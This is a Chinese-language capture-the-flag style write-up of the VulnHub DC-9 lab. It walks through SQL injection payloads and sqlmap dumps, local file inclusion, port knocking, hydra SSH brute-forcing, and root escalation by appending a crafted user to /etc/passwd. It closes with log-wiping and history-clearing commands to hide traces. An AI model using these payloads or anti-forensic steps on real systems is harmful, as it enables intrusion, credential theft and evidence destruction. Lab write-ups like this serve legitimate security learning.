前言:之前的靶机都是打完一遍再进行复盘的,但是作为DC系列的最后一舞,涉及到的点还是比较多的,因此采用边打边进行记录的方式写了这篇文章
信息搜集
依旧两条命令,但是这次有一个不一样的点:
bash
nmap -sn 10.167.161.0/24
nmap -p- 10.167.161.8

这里SSH的22端口显示的是filtered,filtered 是 Nmap 给出的一个端口状态,它的核心意思是:Nmap 无法确定该端口是开放还是关闭,因为探测数据包被中间的某个环节 (很可能是防火墙)拦截或丢弃了 ,这里就是作为一个伏笔,我们先到浏览器里面去看一下界面,看着有猫腻的地方就是这里:

有点像SQL注入,等等再测,先扫个目录看看有没有别的:
bash
dirsearch -u http://10.167.161.8

没有什么东西,config.php也是空白的,最后那个登录界面爆破也不行,最后尝试一下msf,插件看出开是Apache2.4.38:
bash
msfconsole
search apache 2.4

也没有什么有关的利用点,那么只能往SQL注入那方面去想了,经过不断尝试之后发现了注入语句:
sql
' or 1=1#
数据库爆破其一
看了一下URL发现里面没有拼接ip啥的,可能是POST注入,开始的时候我尝试的是手工注入,但是就是到了第二步就卡住了:正常来说找到注入点之后肯定是order by去找列数,但是我这里不管输入多少显示的都是0result,可能跟数据库的查询语句啥的有关系,得到后面拿下权限之后才能去看了,那么只能先上SQLmap,BP抓包获得原始数据包:

然后复制到kali中去,直接桌面上新建一个文件就行了,上SQLmap:
bash
sqlmap -r dc9.txt -p search --batch --dbs

跑出了这么三个,有用的应该是下面两个,先看Staff:
bash
sqlmap -r dc9.txt -p search --batch -D Staff --tables

得到以下两个表,有用的是Users:
bash
sqlmap -r dc9.txt -p search --batch -D Staff -T Users --columns

爆个字段即可:
bash
sqlmap -r dc9.txt -p search --batch -D Staff -T Users -C Username,Password --dump
最终得到一串admin的哈希,放网上解密一下为transorbital1 :

网站登录
那么先回到网站进行登录:

进去之后好像也没什么东西,但底部出现了一句话说文件不存在,这里作为提示,但我不知道它提示了个啥,想到的是路径穿越,尝试了一下,直接回到了最开始的界面。后面翻看了一下之前写的文章,联想到了要加参数,这里就用file来:

变成了这样,没有再跳转到最开始的界面,那就说明有戏,尝试一下/etc:
bash
?file=../../../../etc/passwd

可以看到确实是这样的,由于这里是apache,尝试了一下apache日志注入发现无果:
bash
?file=../../../../var/log/apache2/access.log

数据库爆破其二
到这里我我觉得没路走了就停下来了,之前爆数据库的时候只是爆了一个,那么再回过去爆破另一个,说不定会有新发现,直接给命令了:
bash
sqlmap -r dc9.txt -p search --batch -D users --tables
sqlmap -r dc9.txt -p search --batch -D users -T UserDetails --columns
sqlmap -r dc9.txt -p search --batch -D users -T UserDetails -C password,username --dump

这里又是一份账号密码,我们想一想,之前爆出来的账户已经是admin了,但是登录之后并没有什么有用的地方,那么这些账号密码可能就是用ssh进行登录。所以我们可以先分别将这些账号密码分开来保存到相应文件中,这里在SQLmap跑的时候会自动储存,就是爆出来的表下面,我没有截进去而已,可以看一下:
bash
cat /home/kali/.local/share/sqlmap/output/10.167.161.8/dump/users/UserDetails.csv

可以看到直接是用,进行分隔的,那么分开来也简单多了:
bash
#提取 username(第2列)存到 user.txt
cut -d, -f2 /home/kali/.local/share/sqlmap/output/10.167.161.8/dump/users/UserDetails.csv | tail -n +2 > user.txt
#提取 password(第1列)存到 password.txt
cut -d, -f1 /home/kali/.local/share/sqlmap/output/10.167.161.8/dump/users/UserDetails.csv | tail -n +2 > password.txt
解释:
- cut -d, -f2 → 用逗号分隔,取第2列(username)
- tail -n +2 → 跳过第一行的标题(password,username)
SSH登录
尝试ssh爆破:
bash
hydra -L user.txt -P password.txt ssh://10.167.161.8
这里的问题也随之出现了:

跳了提示说是无法连接到ssh,可以回到我们之前扫端口的图片,那时候显示的是filtered,网上查了一下,发现有一个更加深层次的解释:
过滤:Nmap无法确定端口是否开放,因为数据包过滤阻止了其探测到达端口。过滤可能来自专用防火墙设备、路由器规则或基于主机的防火墙软件。这些端口使攻击者感到沮丧,因为它们提供的信息非常有限。有时它们会以ICMP错误消息的形式响应,例如类型3代码13(目标不可达:通信被禁止),但是没有响应而只是简单地丢弃探测的过滤器更为常见。这迫使Nmap多次重试,以防探测由于网络拥塞而被丢弃,而不是由于过滤。这种过滤方式会大大减慢扫描速度。 开放|过滤:当Nmap无法确定端口是开放还是过滤时,将端口置于此状态。这发生在开放端口没有响应的扫描类型中。缺乏响应也可能意味着数据包过滤器丢弃了探测或任何响应。因此,Nmap无法确定端口是开放还是被过滤。UDP、IP协议、FIN、NULL和Xmas扫描将端口分类为此状态。 关闭|过滤:当Nmap无法确定端口是关闭还是过滤时,使用此状态。它仅用于第5.10节中讨论的IP ID空闲扫描(-sl)
但是我还是不会,之前根本没接触过这类,问了LLM说是可以进行端口敲门或者SSH隧道利用啥的,但是这里SSH隧道利用不行,直接枚举端口也不现实,真想不到,只能去看别的师傅写的,用到了这么一个:
?file=../../../../etc/knockd.conf
knockd 是 Linux 上实现端口敲门的守护进程,配置文件通常位于 /etc/knockd.conf
关键信息
| 配置项 | 中文含义 | 利用价值(渗透测试 / 红队角度) |
|---|---|---|
| sequence | 敲门端口序列 | 直接获得敲门顺序 。这是端口敲门的核心配置,通常通过 LFI、目录遍历或文件读取(如 /etc/knockd.conf)直接拿到。例如 7469,8475,9842,必须严格按此顺序敲击才能触发防火墙规则变化。 |
| seq_timeout | 超时时间(秒) | 知道需要在多少秒内完成整个敲门序列。超过此时间本次敲门作废,需要重新开始。常见值为 5~30 秒,实战中建议使用脚本或 knock 工具一次性快速完成,避免超时。 |
| command | 敲门成功后执行的命令 | 了解防火墙具体规则变化。通常是 iptables 命令(如打开 SSH 22 端口:-A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT,或关闭:-D)。通过它可以明确敲门后开放了哪个服务以及规则细节。 |
| tcpflags | 匹配的 TCP 标志位 | 知道是否需要特定 TCP 标志(如 syn)。大多数配置只需发送 SYN 包(nmap 默认或 knock 工具即可满足)。如果设置了 syn,ack 等,则需注意发送的包类型。 |

因此,我们可以通过nmap进行端口敲门从而打开22:
bash
nmap 10.167.161.8 -p 7469
nmap 10.167.161.8 -p 8475
nmap 10.167.161.8 -p 9842
再扫一下22端口,这时候就可以发现是open状态了:

终于可以连ssh了:
bash
hydra -L user.txt -P password.txt ssh://10.167.161.8

爆破出来这么几个,接下来就是ssh登录进行进一步的查看,分别看了一下suid ,家目录下的各种文件,最后在janitor目录下发现相应隐藏文件:
bash
ls -la

读取一下:

发现多了几个密码,那么放入之前的password.txt再次进行爆破,直接vim里面右键粘贴即可:

多了一个fredf,进行登录:
bash
ssh fredf@10.167.161.8
B4-Tru3-001
提权
进去之后两个命令看一下:

执行一下:
bash
sudo /opt/devstuff/dist/test/test
有一个python文件,先转到相应路径,然后读取一下:
python
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # 打开第一个文件(只读)
output = (f.read()) # 读取全部内容
f = open(sys.argv[2], "a") # 打开第二个文件(追加模式)
f.write(output) # 将内容写入第二个文件
f.close()
相当于:
python test.py [源文件] [目标文件]
python test.py /etc/passwd /tmp/output.txt
将 /etc/passwd 的内容追加到 /tmp/output.txt
| 漏洞类型 | 问题说明 | 利用价值(渗透测试角度) |
|---|---|---|
| 无输入验证 | 没有对文件路径进行任何检查或过滤 | 可以读取任意系统文件,包括敏感配置文件、日志文件、源代码等 |
| 任意文件读取 | 可以读取服务器上任意路径的文件,且以 root 权限运行 | 高危 :可直接读取 /etc/shadow、/root/.ssh/id_rsa、数据库配置文件、knockd.conf 等 root 权限文件 |
| 任意文件写入 | 可以写入任意系统文件 | 极危 :可写入 /etc/passwd、/etc/sudoers、SSH 公钥、webshell 等,实现权限提升或持久化 |
| 符号链接攻击 | 支持符号链接(symlink),可通过软链接覆盖或读取敏感文件 | 可通过创建符号链接绕过限制,覆盖 /etc/passwd、/etc/shadow、配置文件等关键文件 |
由于 /etc/passwd 里密码字段现在通常是 x(真实密码存放在 /etc/shadow),直接写明文密码是无效的。我们需要先生成加密后的密码哈希,再追加到 /etc/passwd 这里可以用openssl进行生成:
bash
openssl passwd -1 -salt shell 123456
下面是为执行命令前的 /etc/passwd 用户【里面两个hacker是我尝试没成功的,一个是无密码另一个是自己直接设置的密码】

bash
echo 'shell:$1$shell$FWRDZvnn6nuR4MyAq/oF31:0:0:root:/bin/bash' >/tmp/m
sudo /opt/devstuff/dist/test/test /tmp/m /etc/passwd

终于成功了/(ㄒoㄒ)/~~,然后再看一下/etc/passwd

上面多出来的都是我前面失败的...
这里有个问题就是如果用echo的话得用单引号,双引号会失败,就是转义:
双引号 ":Bash 会把 $ 当成变量引用来解析(变量扩展)。
例如 111hacker$6luIRwd... 中的 1、1、1、hacker 等会被 Bash 尝试当作变量,导致整个字符串被破坏或变成空/乱码。
单引号 ':Bash 完全不解析里面的任何特殊字符(包括 $、/ 等),会原样输出。所以单引号能安全地把哈希完整地写进去。
正确写法必须用单引号(或者用 \ 转义所有 ,但单引号最简单)。
最后就是拿到我们的flag了~

拓展
既然作为最后一舞,那么就得认真复盘一下,这里重点是我们手工注入语句为何失败的原因探究和日志文件的相关分析【如有错误之处恳请师傅们指正】
SQL注入复盘
获取查询语法
首先,我们得找到跟SQL查询语句有关的文件,是在/var/www/html下的results.php中:
php
<?php
include("config.php");
$search = $_POST["search"];
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$sql = "SELECT id, firstname, lastname, position, phone, email FROM StaffDetails WHERE firstname = '$search' OR lastname = '$search'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
// output data of each row
while($row = mysqli_fetch_assoc($result)) {
echo "ID: " . $row["id"]. "<br/>" . "Name: " . $row["firstname"]. " " . $row["lastname"]. "<br/>" . "Position: " . $row["position"]. "<br />" . "Phone No: " . $row["phone"]. "<br />" . "Email: " . $row["email"]."<br/><br/>";
}
} else {
echo "0 results";
}
mysqli_close($conn);
?>
这里面关键的就是这么几行:
sql
SELECT id, firstname, lastname, position, phone, email
FROM StaffDetails
WHERE firstname = '$search' OR lastname = '$search'
复盘操作
如果我们还是按照原来的order by进行拼接的话是这样的:
sql
WHERE firstname = '' order by 6# ' OR lastname = '' order by 6#'
- 第一个条件本来应该是 firstname = '',但我们插入的 ' order by 6# 把引号提前闭合了。
- 结果变成了:firstname = 'mary' order by 6# ← 这里 ORDER BY 突然出现在 WHERE 子句中间
- 后面还有个 OR lastname = '' order by 6#'(引号也没匹配好)。
SQL 解析器看到的是 :
在 WHERE 条件里突然出现了一个 ORDER BY,而且位置完全不对(ORDER BY 必须在整个 SELECT 查询的最后,不能放在 WHERE 里面),这就导致整个 SQL 语句语法错误
因此这里如果仍要使用order by进行列数判断的话,得先将前面的where条件废除,让查询返回所有记录,即放到整个select的正确位置,之后再把后面的内容给注释掉,构造的语句如下:
sql
' OR '1'='1' ORDER BY 6#
这样确实可以看到所有的数据了(看来我SQL注入学的还是太浅了)
然后这里直接用union select就是没有问题的:
sql
' union select 1,2,3,4,5,6#

拼接后的语句:
sql
WHERE firstname = '' union select 1,2,3,4,5,6# '
OR lastname = '' ...
-
把后面的所有内容(包括那个多余的 OR 条件)全部注释掉。
前面的 mary' 把第一个引号闭合
-
整个查询变成了:... = 'mary' UNION SELECT 1,2,3,4,5,6(后面被注释干净)
-
这是一个结构完整、列数匹配的 UNION 查询,所以能正常执行并返回结果。
那么总结一下:
ORDER BY:把排序语句插进了 WHERE 中间 → 位置错误 → 语法混乱 → 查询失败
UNION SELECT:把前面的 WHERE 条件"废掉",用一个全新的完整 SELECT 替换 → 位置正确 → 查询成功
手工查询
接下来就是手工查询了:
sql
' union select 1,database(),3,4,5,6#

然后是查表:
sql
' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()#

字段:
sql
' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database() and table_name='Users'#

具体内容:
sql
' union select 1,group_concat(Username,Password),3,4,5,6 from Users#

这里得到是admin的,但是我们经过之前的操作知道这里还有别的数据库,因此还需要一个另一个查询语句:
sql
' union select 1,2,3,4,5,group_concat(schema_name) from information_schema.schemata#

那么同理查users库中的数据,直接给命令了:
sql
' union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='users'#
' union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='users' and table_name='UserDetails'#
' union select 1,group_concat(username,0x7e,password),3,4,5,6 from users.UserDetails#
//注意这里要写完整的表名,当前数据库是Staff

日志注入
然后便是跟日志注入相关的了,开始的时候我们尝试了该方法发现是不行的,因此就要找有关的配置文件
bash
/etc/apache2/apache2.conf (Apache 主配置文件,包含全局日志设置)
/etc/apache2/sites-enabled/000-default.conf (虚拟主机配置,常在这里定义日志路径)
但是看了一遍感觉也没啥防护:
-
没有对 User-Agent、Referer 等字段做任何转义或过滤(正常生产环境可能会用 mod_security 或自定义 LogFormat 过滤 <、? 等字符)。
-
没有启用 mod_security 或 WAF。
-
PHP 的 include() 会直接把日志内容当作 PHP 代码解析(只要日志里出现 <?php 就会执行)。
-
没有设置 open_basedir 严格限制 include 范围。
后面我想着是不是因为目录遍历没遍历到位的问题,去爆破了一下:
python
for i in range(1,30):
print('../'*i)
但是还是没啥用,返回长度都一样:

让我再好好沉淀沉淀
痕迹清理
最后便是痕迹清理了,也算是有始有终吧:
清理web日志
这里是apache:
bash
#用 sed 命令删除包含我们IP的行
sed -i '/ip/d' /var/log/nginx/access.log
#同样处理 error.log
sed -i '/ip/d' /var/log/nginx/error.log
这里文件有点多,就写了两个

清理系统日志
bash
#删除 auth.log 中包含 我们ip 的所有行,同样也是就举了两个
sed -i '/ip/d' /var/log/auth.log
#删除 syslog 中包含 ip的所有行
sed -i '/ip/d' /var/log/syslog
清理mysql数据库
bash
sed -i '/2026-04/d' /var/log/mysql/error.log
清理历史记录
bash
history -c
#临时禁用历史记录
set +o history
临时关闭当前 shell 的历史记录功能,之后的所有命令都不进内存,自然也不会写文件。
写在最后
至此,VulnHub DC 系列靶机全部完成。
从 DC-1 到 DC-9,这一系列靶机设计得非常经典且循序渐进。它几乎覆盖了渗透测试早期到中期最常见的漏洞类型:信息收集、Web 漏洞(SQL 注入、LFI)、配置错误、端口敲门、服务枚举、提权等。尤其是 DC-9,把 SQL 注入 + LFI + 日志投毒+ 端口敲门 巧妙地结合在一起,让整个渗透流程变得连贯且富有挑战性。
在这个系列中,我们能深刻体会到:
基础漏洞即使再"简单",在组合使用时也能产生强大的破坏力;
很多时候,真正限制我们的不是技术本身,而是对系统结构的熟悉程度和枚举的深度;
静默失败(0 results)、路径穿越深度、日志刷新延迟这些"小细节",往往是成功与失败的关键
DC 系列就像一本实战教材,它没有过于复杂的链式漏洞,却把每个环节都做得扎实而真实。完成这个系列后,相信师傅们对 Web 渗透的常见攻击面和 Linux 环境下的横向移动、提权思路都有了更清晰的认识
感谢 DC 系列的作者 Dcau,也感谢一路坚持做完的你
DC 系列 ------ 至此完结